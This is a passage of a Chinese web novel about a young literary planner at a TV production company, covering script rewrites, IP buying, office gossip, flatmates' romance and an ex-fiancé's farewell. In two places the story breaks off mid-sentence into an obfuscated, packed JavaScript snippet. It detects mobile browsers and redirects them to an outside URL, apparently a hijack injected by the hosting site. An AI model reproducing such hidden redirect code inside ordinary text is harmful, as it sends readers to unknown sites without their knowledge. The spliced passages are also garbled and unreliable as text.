《瓷缘》原著着重展现改革开放30多年间,改革实践者们的挣扎、觉醒、拼搏和变化,导演对编剧的要求是“国事往家事里写”,让观众看到时代变幻对个体命运的深刻影响,引起他们感悟和反思历史。但两个编剧都不到三十岁,编剧技巧和阅历达不到。 编剧们珍惜跟大导演合作的机会,虽然剧本反反复复修改过,但还想再综合各路意见,再改一道。制片人却没那么多时间给他们,按原定工作计划,这个时间点,她能看到全部30集剧本初稿了。 年轻编剧执行力不足,导演虽然懂戏,但他忙不过来。《瓷缘》全程实景拍摄,年份跨度大,导演团队要还原很多上世纪八九十年代场景,道具也得丝丝入扣,编剧写剧本这几个月里,导演团队到处勘景,主拍摄场地定在江西婺源。 想要复现剧本里的“改革开放初期”,大部分场地只能自己搭建,导演团队的任务很重,他和制片人商议决定,让老友李峻主抓剧本,亲手带编剧,他才好腾出精力做更多事。 李峻青壮年时期写过若干部脍炙人口的佳作,在编剧界是教父级人物,江湖地位极高。60岁之后,他体力大不如前,很少再写作,被各大公司请去当总策划,把关剧本大方向和结构,编剧遇到困难,都会向他请教。 两个编剧能得到大师指点,都喜形于色。出乎杨树意料,导演又点了她的名:“杨树和施严分分工,施严盯进度为主,等李老师来了,杨树给他做点辅助工作。” 杨树讶然,这竟是让她也成为《瓷缘》责编的意思。施严投来纳闷的眼神,她给他一个迷惑的表情,暗忖自己也就是去了一趟江西,拍了制瓷视频,竟也能入了导演的法眼。 散会后,姜妤恭喜杨树遇到贵人了,比起IP买手,责任编辑才算真正进入项目,而且跟着大编剧学习,事半功倍。 杨树傻笑,她想当责编,导演给了她机会,这是入职长夜影视以来,她最高兴的一件事,她说:“李老师开小会我都录下来,整理给你俩。” 施严喊住杨树,姜妤和易无回办公室,杨树问:“怎么了?” 施严很不快,杨树是《瓷缘》原著的编辑,做事也积极,但不至于让导演对她另眼相看,他百思不得其解:“导演是不是嫌我表现不好?” 公司今年播出了3部剧,杨树看过,每一部责编和策划名单都有数人。她笑道:“你多心了吧,《瓷缘》是公司大剧,有两个责编也正常。” 制片主任过来,找杨树补签一份合同,聘请她为文学策划。施严听说不是责编,冲制片主任笑着打个招呼,走开了。 公司责编是拿项目提成的,跟编剧进度同步,分阶段拿钱。施严是新人,一部戏走到开机,算下来能拿十来万的样子,听起来还凑合,但剧集以年为单位,摊到每个月,也就几千块钱奖金。 制片给杨树这位文学策划的酬劳是一锤子买卖,5万块,跟到开机。杨树签了字,内心很感叹,在青芽图书做一本书,编辑提成是书的定价乘以100,但前后可能忙半年。 军嫂很羡慕杨树,她被著名导演钦点成为大剧文学策划,是履历上很说得过去的一笔。老板娘认为《瓷缘》这种正剧不是大众兴趣所在,收视率和网络热度都不好说,把它称为大剧还为时尚早。包法利夫人则打听到,导演嫌施严对《瓷缘》用处不大,才火线提拔杨树,大策划李峻是男人,男人需要女人做小伏低捧着,这活儿施严可干不来。 杨树充耳不闻,这三人都看不下去《瓷缘》小说,嫌土气,她怎么能和喜好不同的人语创作呢,语不了的。 都说剧本是一剧之本,但实际情况往往很多人的权力都大于编剧,到了李峻这个位置,他的话语权才比较高。 平台购买一部剧集,看重内容,也看重主创是谁,谓之卖不卖剧。有的演员红极一时或有观众缘,都属于具有卖剧能力,有的名导名编名头也比较好用,李峻便是其中之一。有时制片人搞不定平台,都得请李峻动用自己的人脉从中斡旋,他有过硬作品,名气大,门生也多。 李峻在别的项目都署名总策划,以出谋划策为主,但这次需要他为编剧做些分场,修改台词,润色重场戏,制片人想让李峻署名为编剧,但李峻说署名总编剧即可。 按行业不成文的规定,总编剧多是不具体干活的,挂个名好卖剧而已。但制片人认为《瓷缘》有拿奖的希望,以那两个年轻编剧的能力,是沾李峻的光了,她觉得稿费给足,他们即使没署名都不能说什么,何况只是让李峻署在第一位,人得有自知之明。 李峻制止了她:“还是得提携后辈,行业才能良性发展,不然总没机会出头,我年轻时也难。” 施严把这番话透露给了杨树,杨树失笑,李峻这话说得谦虚,他二十啷当岁写的第一部电视剧就一炮而红,她爸妈都看过。多年后电视上重播,他们还会跟着主题曲哼唱几句。 李峻长相清癯,人也亲切,杨树很喜欢听他讲戏,连施严也说跟他聊天如沐春风。丁盼兮在网上搜索李峻照片,惋惜道:“他要是不大于45岁,我就追他了。” 这人爱才子的毛病还没改,杨树逗她:“这么快就不要秦朗了吗?” 丁盼兮越挫越勇,大声回答:“要!” 杨树吃吃笑,丁盼兮又看看李峻照片:“30岁的李峻在我面前,我就不要秦朗了。” 杨树端详着李峻,普通人,有书生气,但他是行业大拿,写过万人空巷的电视剧,还不止一部,长成这样,搁古代能被皇帝钦点为探花了,她笑道:“他年轻时没少跟女明星恋爱。” 这段时间,丁盼兮极力自我调节,情绪好了些许:“所以才写得出好东西嘛。你敢说他年轻几十岁,你不会动心?” 丁盼兮是典型的恋爱思维,看到顺眼的男人,会下意识思索恋爱的可行性,但杨树压根没想过这个问题。她对李峻一腔濡慕,是把他当师长,对《瓷缘》的黎导也是,他们的知识层面远高于她,她贪婪地汲取,无暇他顾。 李峻帮编剧重新梳理了前5集脉络,在他们交出的新版剧本基础上进行深加工,12月初,导演把新剧本发到工作群,请众人赏阅:“李老师是咱们戏的再造父母。” 杨树对照着原版剧本细看,她得说,作品里见真章,人们尊敬李峻,是因为他有真东西,得服。她为自己曾经发到工作群那份意见汗颜,思维有局限,视野就不开阔,看不远,自然没有分析全盘的能力。 原著作者刘书云看完前5集定稿,也称赞不已:“世事练达即文章,编剧能力也一流,我也多学学。” 公司对《天作之合》和《瓷缘》的定位不同,前者是赚快钱,后者得精心打磨,以品相取胜。李峻带领编剧继续磨剧本,不急于去谈演员。剧本每5集一交,按他们的进度,两个月后才能交出6到10集剧本,杨树又把时间花在挑选IP上。 年关将至,一家三口都很忙。丁盼兮经常以餐桌为书桌,制订来年各种表格计划,杨树负责洗碗,秦朗洗小番茄和蓝莓,沥干净水端给丁盼兮。不管他加班回来多晚,丁盼兮都会给他热饭,他挺不好意思 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秦朗绑着晾衣绳,杨树打量着他,丁盼兮和他在一起可以尽情穿高跟鞋了。丁盼兮跟漫画家恋爱时,总是穿平跟鞋,她明明事事压男人一头,还得从身高上照顾他可笑的自尊心。其实一个人不干活,哪还有自尊心。 杨树鞋尖蹍地,踟躇半晌,旁敲侧击这活儿她干不来,索性挑明:“那你对盼兮呢,你该不会看不出她对你有意思吧?” 秦朗一愣:“她没说,我觉得不像。” 杨树问:“怎么不像了?” 秦朗笑了,他只觉得丁盼兮对他特别客气,每次晚上下班回来,丁盼兮在炒菜,他去弄垃圾,丁盼兮却总说:“放着我来。” 丁盼兮不让秦朗干活,秦朗理解成两人还不熟,所以丁盼兮有点拘束,待他客气。杨树气乐了:“你不像个迟钝的啊?” 秦朗把床单扯一扯,再抖一抖,把它弄得平平整整,动作很娴熟,再拿两个夹子夹好,杨树有点明白了:“你自己也会干活,所以只觉得她很温柔客气,没想过是在示好?” 秦朗点头,杨树叹口气,她大致明白,一定是丁母潜移默化,让丁盼兮下意识伺候男人,但一个把生活弄得井井有条的男人会无所适从,因为他不需要,他对情感的需求不是这些。 杨树蓦然想到办公室的已婚三人组,包法利夫人说她丈夫像个大宝宝,所以她很注重说话的艺术,时时夸丈夫能干,细心,夸他会哄孩子,孩子最喜欢爸爸。她让老板娘学习调教丈夫,慢慢灌输分担家务的思想,男人虽然懒,但有技巧地发出明确指令,他们还是会配合的,这叫以柔克刚。 主管当面没说什么,等她俩去接孩子了,她让杨树、姜妤和军嫂引以为戒,孩子是夫妻的共同利益体,丈夫却没以为是自己的责任和分内事,还需要妻子三请四请,请问恋爱是怎么谈的?结婚前没发现他不干活吗,发现了还怎么喊都没用,还跟他结婚干吗? 姜妤说:“怪她们自己。男人为什么不体贴,因为不需要他体贴,女人就唠唠叨叨把事情都做了,还落不到好。” 军嫂说:“男人能有几个体贴的?他们都是单线条,听不出弦外之音,指望他们自己开窍要被气死,不教不行。” 杨树嗤道:“在女人面前装傻充愣而已。领导还没说话,他们就揣摩得透透的,他们听不出女人在说什么,不就是懒得动脑筋吗?” 军嫂脸上有点挂不住,说她丈夫为人木讷,察言观色那一套统统不会,不然早就想办法调回北京了。 主管给出经验,男人是地板砖,装修时弄好了,能踩一辈子,所以谈恋爱就得培养男人的主观能动性,让他眼里有活儿。杨树想起这些话,不由一笑,眼前的秦朗倒是个现成的,难怪丁盼兮想把他弄到手,省心省力。 杨树一副若有所思的样子,秦朗看着她,暗沉光线下,她的面孔很幽静,他问:“在想什么?” 杨树找个借口漫应过去:“在想同事的项目,是你的菜,原著写得特别好看,改编减分了。” 秦朗感兴趣了:“罪案片?” 杨树和他拎着水桶下楼,楼道的灯很暗,秦朗开了手机电筒照着路,回屋后,两人坐在沙发上继续聊,夜深才散去各自休息。 17. 第 17 章 易无为公司买下一部刑侦小说,大老板很喜欢,自己担任制片人,请了资深编剧团队改编。上个月,剧本出了前10集,编剧做出了结构清晰的单元剧形式,案件类型丰富,情节曲折,导演团队也说是近年来少见的好本子,结果他们想了几天,要求改成大男主向,主线人物贯穿所有案件。资深编剧争取了几次,但被驳回。 广..电局早有明文规定,涉案题材不能上黄金档,刑侦剧在市场上遇冷数年,今年上半年,有两部刑侦剧先后登陆卫视黄金档和视频网站,这个题材才重新走进大众视野。 大老板念在原著小说十分精彩,才决定投拍试试,上不了卫视的话,多卖几家地面台和视频网站,也能回本,但根据数据公司的信息来看,单元剧案件收视低迷。观众的习惯仍是看主角从头参与到尾的完整剧情故事,不改不行。 易无眼睁睁地看着那么好的剧本被改了,从大纲改起。今天,他看到前5集剧本,颓了。也不能说多不好,但为了让主角和情节深度羁绊,剧本里有很多强行的情节,失去了原剧本那种酣畅淋漓的特质。 大老板并不想改成这样,但市场导向决定一切,易无发牢骚:“要是有个同类题材爆了,公司就敢跟风了,但爆的那个,不也是别人坚持了吗?” 包法利夫人说大老板肯拍刑侦剧,已经很有胆量,等将来市场成熟了,再做现在这样的也不迟。易无更颓,杨树也为原著可惜,把阅读链接发给秦朗。 丁盼兮走出卧室,倚门而立,秦朗招手,让她来吃水果,他都切好了。丁盼兮把玩着一只砂糖橘,意有所指:“你前女友把你调教得很不错。” 秦朗没听懂,丁盼兮解释说洗衣做饭他都行,不像漫画家,废纸巾掉在地上了,他都直接踩过去,喊他去收个衣服,喊了几次,动了,但是衣架乱丢,还觉得帮了女朋友天大的忙,但秦朗洗碗拖地都抢着干。 秦朗很费解:“就这?我从小就和我妈一起干活。” 丁盼兮问:“不是你女朋友教的?” 秦朗没和前女友共同生活过,只在假期见面,但他父母感情很好,家务活都一起做,他爸做饭比他妈做得多,也好吃些。 丁盼兮顺势问起他的家庭情况,秦朗父母都在张家界林业站工作,终年生活在密林深处,观测山林,监测山火,学龄前他在那里度过,后来在外婆家里住,每到假期都去父母工作的瞭望塔玩耍。 森林最怕火灾,守林人很辛苦,杨树想到他从事的职业:“那时候就想到要发明一个先进的玩意,帮你爸妈减轻负担吗?” “你怎么知道?”秦朗拿过平板电脑,给她看那一片郁郁葱葱的林海,在肉眼看不到的地方,红外热像仪在发挥着功效。 大学四年级,秦朗在一家公司实习,为父母引入了公司研发的高温预警系统,可自行设定预警温度,监控点一旦出现异常高温,即刻告警。杨树问:“就跟烟雾报警器一样吗?” 秦朗说类似,杨树又问红外热像仪长什么样,秦朗给她看公司最新款手持式热像仪,他前段时间忙活的就是这个,过年就带回家给父母,用它进行人工巡警定位。 杨树手指一张张划过他拍摄的森林照片,理解他为什么喜欢听她讲故事了,在那样孤绝环境长大的人,对外面的世界,对未知的一切都会感兴趣吧。 两人又在聊枯燥话题,丁盼兮接着去看剧,夜里她溜进杨树房间,杨树说秦朗夸她好看又温柔,丁盼本来恹恹的,闻言振奋了点:“这还差不多。别人都往死里夸我,他还真含蓄,平时不还挺活泼吗?” 杨树轰她回自己屋,睡个饱觉去上班。分管副总作出指示,让大家多挑点古代言情小说,主角最好是历史上有名有姓的女人,公司好做成大女主戏。如今国产剧的观众以女人为多,女人最爱看谈恋爱为主的古装剧。 已婚三人组欢欣鼓舞,她们早说《瓷缘》没劲,做言情剧才能赚到钱。杨树又塞上耳机。 朱青找上杨树,出版社请的翻译家已完成那部外版小说第一部翻译工作,社里总编辑称赞有加,把它列入明年的重点书目。 杨树约朱青吃饭庆祝,要是往常,朱青会拒绝,但外版小说拉近了两人距离,朱青说她随时有空。 圣诞节快到了,丁盼兮买了营造氛围的风灯烛台和小圣诞树,想在家和秦朗共进烛光晚餐,杨树跟朱青约在平安夜见面。 平安夜上午,包法利夫人收到一束红玫瑰,以及某个大牌的项链。中午,军嫂也收到丈夫订的鲜花,老板娘等到了下午,丈夫却什么都没表示。包法利夫人喊她一起去接孩子,她破天荒地没去,还出去打了一通电话,气呼呼进来,一看就是逼迫丈夫给点惊喜,但被拒绝了。 主管说:“今天买花多贵啊,回头再让他补。” 军嫂说丈夫常年在驻地,如果他在身边,她才不让他买花,相守比什么都实在。老板娘很烦:“你一说他就照办,我家那个,说都说不得。” 军嫂说:“一束花,又不能当饭吃,我宁可他给我买双鞋。” 包法利夫人走了,老板娘打起精神,笑话包法利也终于浪漫了一把,不知道被夫人耳提面命了多久,没准是夫人自己买的。 傍晚快下班时,姜妤也收到了鲜花,她有个大学同学对她追得很勤。杨树抬头看向外面欲雪的天色,过去几年里,每到这天,她都会和陈樟去吃顿热腾腾的火锅,今天约会对象换成朱青。 距离后海二里地有家老北京铜炉火锅店,杨树吃到媲美故乡的好羊肉。饭后,她和朱青各拎一瓶没喝完的甜酒,溜溜达达去后海。 朱青喝点酒兴致高,话多了些。她19岁从广东考来北京读大学,最喜欢国子监和后海,杨树便和她一路闲谈,从荷花市场逛到烟袋斜街,再去南锣鼓巷,那边有几家很适合谈天的小店。 丁盼兮召唤杨树:“你快回吧,我自己睡了。”杨树看得直乐,回家已是凌晨一点,客厅里没有开灯,秦朗吃着薯片看电影。 路灯光照进来,杨树暗笑,美女蛇腰身袅袅,他居然施施然走开了,这条漏网之鱼还挺有想法。秦朗往旁边坐了坐,压低声问:“要不要一起看?才刚开头,我倒回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079224|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。” 秦朗经常加班到半夜,他所在的部门不用打卡上班,杨树可不行,她急着去洗漱:“你看吧。” 秦朗哦了一声,语气有点失望,杨树坐过去,他把薯片往她面前递,杨树抓出两片吃了,怀疑他想说丁盼兮的事,心里有些紧张。秦朗可能也不知道该怎么说,两人默默看电影,情节挺吸引人,杨树看了几分钟,走开了:“我改天再看。” 第二天走路去地铁,丁盼兮很郁闷,她想放弃秦朗了。她精心做了大餐,准备了红酒,但秦朗聊的东西她不感兴趣,把话题扯到最近热播的电视剧吧,秦朗喜欢打打杀杀的,她也不爱听,脸上撑个笑,腮帮子都僵了。 以丁盼兮的经验,对男人要有礼貌,乖顺聆听,不时附和,火候差不多,就心照不宣了,但秦朗忙着去洗碗,什么氛围都没了,而且还问了几次杨树怎么还没回。 杨树笑说他大概是不自在,丁盼兮更加郁闷,她跟别的男人在一起,他们都只专心看她,秦朗让她特别没面子,她要换目标了。同事的表哥最近对她追得很狂热,昨晚还抱着尤克里里弹唱了一首情歌录给她。 那男人是大学助教,爱好音乐,他有个朋友开了演艺公司,他去学尤克里里,学得像模像样的,而且还会作词作曲,朋友想把他的作品买下来。 视频里的男人平头正脸,比漫画家外表好一些,他弹唱的作品算是民谣,很舒缓,音色也挺悦耳,丁盼兮问杨树的意见,杨树坦言自己对文艺型的男人有偏见,丁盼兮说:“可他真的很有才华啊。” 杨树踏入社会就在跟文化圈的人打交道,比起人品性格样貌和财富,才华是最见仁见智的,易于伪装,便于唬人,被谁的才华所征服,帮他传播作品就够了,干嘛要变成男朋友?当初丁盼兮和漫画家在一起,她就很惊叹,人品和长相都一无是处的男人,都能找到丁盼兮这样的美人。 丁盼兮吃过才子的亏,她不打算马上进入状态,但她对秦朗是没想头了,追秦朗是觉得他人好,可是男的对她感不感兴趣,她心里门儿清,她只找只喜欢她的男人。 杨树嘲笑她:“每天有那么多无处安放的精力,不如琢磨赚钱吧。” 丁盼兮是有危机感,年轻小姑娘一茬茬冒出来,她的优势不明显了。她很后悔太散漫,虽然喜欢锦衣玉食,但是要花费很大精力才挣得到钱,她就算了,少买点裙子鞋子也行,宁可过得平淡点,图个身心舒坦。但28岁还没什么钱,还不上进,大概率38岁也不会有钱,她做的是人力资源,最清楚35岁以上的基层员工有多么容易被淘汰。 丁盼兮以前总以为自己有退路,比如找个经济好的男人收山归隐,但公司和客户公司的高管什么德行,她一清二楚,但找个有一技之长的才子吧,也没能过上稳定的好日子。 杨树和秦朗都把精力花在工作上,丁盼兮都看在眼里。在这个寒冷的圣诞节清晨,她隔着地铁门,看着杨树走入上班人群,认清一个事实,每个人都被生活驱赶着向前,没有退路可言。她绝不想回到她出生的小村庄,守着家族那十亩樱桃园为生。 18. 第 18 章 杨树遵照分管副总的要求,挑选古代言情小说。但连着看了几篇,姑娘们都穿越到古代和皇子谈恋爱,她看上几章就关掉网页,宫廷等级森严,规矩林立,恋爱能有什么意思?何况皇子们还都妻妾成群。 姜妤教了一个办法,根据搜索词来找小说,杨树在古代背景里输入“探案”,跳出十来篇同类小说。女主角虽然多半也是穿越人士,但在古代仍保留了现代社会的技能,法医有之,特工有之,私家侦探有之,情感和探案情节并行,比单一言情小说丰富得多。 杨树挑了一篇案情写得不错的细读,快递员送来圣诞礼物,拆开一看,是舒纹送的一个奢侈品牌的钱包,祝她财源广进。 舒纹独自在剪辑室工作,杨树拿着钱包去敲门,态度很疏离地说自己没帮上忙,让舒纹别送东西,她有心理负担。舒纹笑道:“小玩意儿而已,我给我的朋友们都送了,别在意。” 杨树说了谢谢,把钱包放回她桌上:“我一向不怎么修饰自己,用不着它。” 舒纹有点尴尬:“我今晚得跟我男朋友吃饭,明天我俩吃?” 杨树说:“我对吃东西也不讲究。” 舒纹瞪大眼睛:“不爱穿,也不爱吃,哪还有什么乐趣?” 杨树笑着摆摆手,走了。她乐趣还挺多。不一会儿,微信上跳出施严的信息:“你还真不给舒纹面子,她们办公室都说你怎么这么不会做人。” 杨树回道:“我为什么要会做人?”她当年在杂志社,后来在青芽图书公司,从来都直来直去,敢于让人难堪,但她有什么损失?她在做着还算得心应手的工作,被敬慕的师长关照,还拥有轻松相处,可聊心事,可谈理想的朋友,别人说她不会做人,那是别人的事。 施严发来一串省略号,表达对杨树恨铁不成钢。隔了几分钟,他说舒纹很受制作部总监赏识,公司上个月底刚杀青的历史大剧,总监让舒纹给剪辑导演打下手,以舒纹导演系的专业背景,再依凭她的相貌,没准明年就能当上执行导演。 施严说:“像她那种导演后备队,哪能把关系搞得太僵,你不是想转岗做责编吗?她送礼物,你就大方收着,退回去也太小家子气了吧。” 杨树没回复,施严看似为她好,但何尝不是在打压她,舒纹在这行起点比她高,她就该巴着? 晚上回家,秦朗找杨树:“舒纹问我,你一向是这种公事公办的性格吗?跟你聊工作,你有说有笑,但一讲私人感情,你就又跟她很不熟了。” 杨树说:“本来就跟她不熟。而且她那个钱包几千块,我收下就得回礼,但我不想为她花钱,我小气得要命。” 秦朗和丁盼兮一齐笑,杨树看看两人,着实般配。等丁盼兮去洗澡,她悄悄问秦朗:“昨晚烛光晚餐开心吗?” 秦朗挠挠头:“我和她不合适,昨晚喊你看电影,本来是想问问你,我该怎么暗示她。但我看她今天正常多了,可能不用说了。” 杨树学他的样子,也挠挠头:“你还没放下你前女友?” 秦朗说:“没感觉就是没感觉。” 杨树咂咂嘴:“盼兮多好看啊。” 秦朗笑:“是好看。” 杨树拿他没办法,回屋看小说。白天看上的唐朝探案故事类似单元剧,第一个案子写得很精彩,但读者评论都说要看男女主角撒糖,也就是甜蜜恋爱。作者没响应,接下来仍是写案件,可读者都嫌男主角半天没出来,嫌没有着重刻画他,作者说:“可我这是女仵作探案故事。” 很多读者都弃文了,评论和积分也断崖式下跌,还有读者劝作者:“你想当个写冷文的,写上几十万字,就收获几十条评论吗?” 作者又坚持了几万字,妥协了。第三个案子草率写写,让男女主角不顾场合搂抱亲吻,评论数量显著增多,到了第四个案子,几乎就成了纯粹的言情小说,但作者写情感的能力很普通,男女主角的互动很套路化,不动人。 杨树为作者惋惜,冲她写第一个案子来看,她能写个很好的故事,但写东西不是轻松事,想被人阅读,想赚点收入,这都是能理解的。 杨树花了三天时间,把唐朝探案故事看到最新章节。作者放弃了初衷,它后劲不足,但架构好,唐朝风貌描写得细致,人设也比一般的纯言情小说新颖些,改编价值挺高。 作者在言情网站上连载作品,多半会授权给网站,由网站代为出售版权,但这个作者没找网站代理,杨树留言联系到她本人。 小说是作者的第二个作品,上一个是耽美小说,没卖掉影视版权,这个还没写完,就被多家影视公司询价,她对杨树报了400万。但以作品的完成度和知名度,这个价格偏高,杨树问最低价位是多少,作者说400万是一口价。 杨树还想再谈谈,作者跟她推心置腹:“朋友的文,几十万就卖掉了,两年多了没动静。我开的价有点高,如果肯买,说明是有实力的公司,拍出来的可能性大。以后剧播了,能带动更多人来看我的文。她们说得对,我是真的不想再当什么小众冷门作者。” 杨树入职后给公司买了十来个IP,大多数都没立项,她祝作者好运,放弃再谈价。部门买入的IP都没突破100万,上头不会花这么多钱买单部小说。 丁盼兮很不解,这么贵买来,还得找编剧改编,又花一道钱,为什么不直接让编剧做原创,难道编剧没能力根据“唐朝+探案”这两个元素写原创故事? 杨树接触的编剧都想写原创故事,但现在IP当道,原创故事既难找到投资方,平台也不热衷。长夜影视是卫视的挂靠方,能直接递给夏停这一层级,敲定采购意向,但想拿去视频网站,就得层层递交,第一关通常是责编和策划之类。 责编和策划背负了筛选重任,但他们年纪资历都浅,上层不太信任,需要一层层填写系统表格。“情节精彩,人物生动立体,题材新颖,值得开发”这种话等同于套话,数据才是重大依据,影视公司的原创项目没有数据,但IP有。 秦朗听懂了:“大家的阅读口味不同,一个故事好不好看,是主观评价,数据是直观的,数据一摆出来,大家都以为它好看,受欢迎,心里踏实。” 丁盼兮问:“那为什么买了IP不直接拍,要改得奇形怪状?” 杨树拿自己参与的项目举例,《天作之合》原著内容少,必须找编剧填充,《瓷缘》涉及到部分过不了审的内容,有些章节戏剧冲突不强,也得找编剧修改完善。 小说语言和文本语言是两套语系,很少有买回来就能直接拍的小说。至于改得奇形怪状,那就是每个人对同一文本的理解不一样了,决策者想赢得除了书粉之外的资方、平台人员、审查人员和大众口味,就得像一锅鸡汤里加这加那,搅吧搅吧,想让它好喝,得靠天时地利与人和。 几天后,杨树听说唐朝探案故事被一家影视公司买去了,400万,一分不少。她笑着摇摇头,作者挣到钱了,下一部她是会按自己的心意写作,还是按读者的期待写作? 舒纹在微信上找杨树:“下班等我十分钟,我来找你。”杨树问她目的,舒纹没回答,下班后,办公室的同事都走了,舒纹背着包进来,她方才没忙完,这会儿才有空请杨树吃饭。 杨树说朋友在家做了饭,但舒纹兴致勃勃:“今天这顿饭你一定要赏脸!我爸朋友在北边开了一家私房菜,今晚有孔雀和老鹰汤。” 杨树呆住了:“孔雀?” 舒纹以为她被震住,眼神带了一丝炫耀意味:“有面儿吧?圣诞节那天,钱包你不收,今天就去吃顿好的吧。还有烤鹿肉,这个天儿冷,走,吃点热乎的去。” 杨树拿起包:“不好意思,我不吃野味。” 舒纹有点不快:“这么不给面子啊,我是真把你当朋友。” “我叫的车来了,先走了。”杨树不再看舒纹,拎着包出了办公室,她为人处世很依赖直觉,见第一面,就知道舒纹只能当普通同事,她对朋友的定义很高,等闲人等当不了她朋友。 去地铁的路上,杨树收到秦朗微信,他说舒纹又找他吐槽,她不明白为什么杨树总是拒人千里之外,让她感觉热脸贴冷屁股,实在没劲。杨树说:“我是没劲啊。” 秦朗发来一连串笑脸:“我上次也这么说,我说你私下特别孤僻,跟你合租这么久,说话没超过十句。” 杨树明白了,难怪她退还钱包,舒纹还跑来找她吃饭,原来都是此人从中周旋。 到家后,秦朗也刚回,杨树问:“还跟舒纹说我什么了?” 丁盼兮呼唤开饭,秦朗一溜烟跑去拿碗筷:“还说你是工作狂,让她别想着跟你当朋友,你很难搞的,我跟你也熟不起来,熟不起来就算了噻。” 饭桌上,杨树说起舒纹邀请吃野味,丁盼兮和秦朗齐齐呆住,秦朗大惑不解:“什么人会想到吃孔雀?” 杨树描述舒纹说起孔雀老鹰汤时的神态,油腔滑调,得意洋洋,跟大部分热衷吃野味的人没两样。她小时候被父母带去吃酒席,吃过野猪、山鸡和麂子之类,肉很粗,还有腥臊气,并不好吃,长大了才知道不能随便吃。但舒纹那帮人,图的未必是口感,而是彰显自己有门路有权力。 杨树把舒纹拍的那部独立电影发到三人群里,夜里她洗漱出来,秦朗暂停了电影投屏,“我知道你为什么不想和她打交道了,她骨子里是很维护权力。” 杨树叹道:“白长那么好看。” 秦朗轻声说:“光漂亮也不行,所以你理解我跟盼兮不合适吧。” 杨树刀他一眼:“盼兮跟她能一样吗?!” 秦朗立刻掌嘴状,但像要抛个飞吻,杨树笑着回卧室。这家伙居然悄悄帮她在舒纹面前圆场,但没必要,她对当个滥好人没兴趣。她的街坊邻居那些人,越泼悍的越横着走呢。 跨年夜,一家三口人出去吃烤肉,杨树喊了朱青,朱青没来,她有自得其乐的方式。去年今日,杨树接受了陈樟的求婚,可是动荡的2015年就这样轻易地过去了,她心里空落落的。 烤肉店自酿的米酒很香醇,丁盼兮叫了两扎,举杯碰杯,她对来年的期许是桃花爆棚,还把三人微信群改名为桃花屋,杨树笑骂俗气,改成坞字就风雅多了。 丁盼兮说坞字带土,不洋气,再一看,秦朗响应了,桃花屋就此改成桃花坞。丁盼兮闹着罚酒三杯,秦朗倒好,一口气喝了半扎。杨树敲着筷子让服务员再来一扎,胡乱喝酒,胡乱笑倒,她心情好多了。 过完元旦,久未露面的陈樟给杨树打电话,他要离开北京了,想再见她一面,杨树答应了。下班后,陈樟开车来接她,在堵车的间隙,他断断续续说起分手以来的境况,他研发的游戏到了内测阶段,资金又断裂了,小额贷款也还不上了,他爸的糖尿病还恶化了,那些时日,他绝望得想自杀。 合伙的朋友们也都撑不下去了,上个月,游戏软件被贱卖给深圳一家大公司,全员搬去深圳工作。大公司给陈樟的薪酬还行,每年拿36个月薪水,以后开发新游戏,待遇另谈。 陈樟找公司预支了一年薪水,再加上贱卖软件所得的那部分,把抵押出去的房子收回了。他仍然没实现让自己和杨树过上好日子的心愿,本来没脸来找她,可他始终没放下她,他是真的醒悟了,不会再轻狂自负了。 杨树坐在副驾,转头看他:“但我不想再被你嫌弃,被你要求这啊那的,把我和别的女人一次次比较。” 陈樟恍然大悟,前未婚妻是真的不介意跟他过苦日子,她最耿耿于怀的仍是他的苛责,他认了错。 前年底,隔壁公司有个女孩追陈樟,他想都没想就拒绝了。去年,投资人撤资后,女孩又找了陈樟,她有个叔叔生意做得大,应该能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079225|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮上忙。陈樟知道她是什么意思,但他也是有尊严的,仍然拒绝了。 随着第二个投资人不再投钱,公司每况日下,陈樟的合伙人都劝他跟那女孩试试,虽然女孩长得不好看,但大丈夫能屈能伸,何况—— 陈樟的合伙人说:“何况你女朋友长得一般,家里还没钱,有什么好舍不得的。” 公司支撑得最艰难时,陈樟有时会想起这句话,于是对杨树存了挑剔之心,似乎她美艳不可方物,他拒绝那女孩,就不被合伙人视为蠢行似的。 陈樟忏悔,是他自己太焦虑,迁怒了杨树,当初第一个照面,他就被她吸引,挖空心思问东问西,只为能和她说说话。 杨树叹气,似乎就是这几年起,媒体都在鼓吹女人要打扮,公司化妆的女人越来越多,人手一把口红。她被陈樟打压得也反省过,自己是不是太潦草了,但对着镜子照了照,普通正常人,衣衫整洁,看得过去。 如今把话都说开了,杨树对陈樟不再有心结:“这顿饭就当为你送行。” 陈樟眼眶发红:“我是真的还想……” 杨树脱口而出:“可我已经放下你了。”话一说出口,她微微心惊,放下他了吗?是放下他了吧。她已经有段时间没有再想起陈樟了,在偶尔的梦境里,还能梦到他,醒后惺忪数秒,抛在脑后,她每天都有很多事要忙。 陈樟不说话了,两人淡淡吃饭。过完年后,陈樟会把父母接去深圳,那边比老家的医疗条件好些,杨树松口气,不管怎么说,他还算全身而退。 陈樟想送杨树回去,她自己叫了车。上车后,杨树从后视镜看他,他站在路边看她离去,身边人来人往,她心里疼了一下,如今已是2016年,相识第5个年头。 定情是在崇文门新世界的必胜客,店堂灯光温柔,陈樟起身坐到身旁,杨树吃完东西,放下刀叉,他忽然捧起她的脸,说你真好看,然后亲她的脸。 那晚牵着手走了很长的路,月光如水。杨树低下头去,她有些泪意。那差一点与之结婚的人,就这样离散了。 